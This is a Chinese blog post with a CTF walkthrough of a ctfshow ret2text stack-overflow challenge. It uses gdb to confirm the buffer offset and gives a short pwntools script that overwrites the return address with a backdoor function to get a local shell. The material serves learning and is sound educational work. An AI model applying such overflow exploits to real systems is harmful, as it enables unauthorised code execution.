当前位置: 首页 > news >正文

用gdb的动态视角看ret2text的实现

来看一道非常简单的栈溢出

image

ctfshow函数里面有read函数,最多可以读0x32个字节

image

image
后门函数地址ida里很明显,0x8048521

exp本身不难写,下面看一下怎么用gdb确定偏移

'from pwn import*
io=process("./pwn")
#io=remote("pwn.challenge.ctf.show",28175);
gdb.attach(io,"b main") #在main函数下断点
payload=b"A"*(0x12+0x4)+p32(0x8048521)
io.sendline(payload)
io.interactive()

image
一直按n让运行到汇编代码的ctfshow处,按s单步进入

image

可以看到read函数,走到read函数,看到read函数在0xffffcfc6处读入数据
image
stack看一下栈
image

0xffffcfd8 是当前函数的栈底,指向的0xffffcfe8是上一个函数的栈底(old_ebp)

用0xffffcfd8减去0xffffcfc6得到0x12,这也就对上了ida里的偏移量

我们退出,输入fini直接运行完,可以看出已经覆盖了0x12+0x4个字节,并且我们的后门函数地址已经成功覆盖到了ebp下的返回地址,
image

我们继续按n走到后门函数,将后门函数压栈,按c得到system/bin/sh,(只是本地调试,因此没有flag文件)
image

http://www.hskmm.com/?act=detail&tid=40083

相关文章:

  • go包装bing搜索
  • 2025年临沂代理记账公司推荐排行及口碑好的靠谱公司解析
  • ZR 2025 NOIP 二十连测 Day 9
  • 1027随笔
  • 网络同步学习记录
  • 软件工程日报
  • 交换机VOQ机制
  • ask_skill
  • 最小树形图
  • 23种设计模式
  • CSP-S2025 游记
  • Win11 使用 QEMU 虚拟机运行 VC6 的可行性
  • 鼾声识别芯片方案和睡眠产品的应用场景
  • Excel高性能异步导出完整方案!
  • 化繁为简:解密国标GB28181算法算力平台EasyGBS如何以兼容性与易用性赋能安防集成
  • 国标GB28181算法算力平台EasyGBS视频实时监控系助力实现换热站全景可视化管理
  • CSS补充
  • 「LG3600-随机数生成器」题解
  • 【每日Arxiv热文】还在为视频编辑发愁?港科大蚂蚁集团提出Ditto框架刷新SOTA!
  • MathType7下载包安装教程2025最新下载+安装+汉化激活(附安装包,超详细)
  • P11993 [JOIST 2025] 迁移计划 题解
  • 2025年土地报批技术服务品牌
  • 2025年土地报批技术服务品牌Top10排行榜
  • 2025 圆木/方木/原木多片锯设备推荐榜:河北普悦机械源头厂家凭核心技术登顶,4家优质企业各展优势
  • 滥用static inline
  • 2025年市面上氟碳铝单板品牌、市场氟碳铝单板公司、国内氟碳铝单板生产厂家、2025年氟碳铝单板品牌、口碑好的氟碳铝单板产品综合评测
  • 2025年度在线网站客服系统综合排行榜正式发布
  • JDD Oxygen智能零售论坛 | 《大模型时代的广告营销变革与实践》
  • 常用Web 实时通信技术:原理+选型,一篇通关
  • 集采带量下医疗器械生产厂家如何通过数字化转型实现降本增效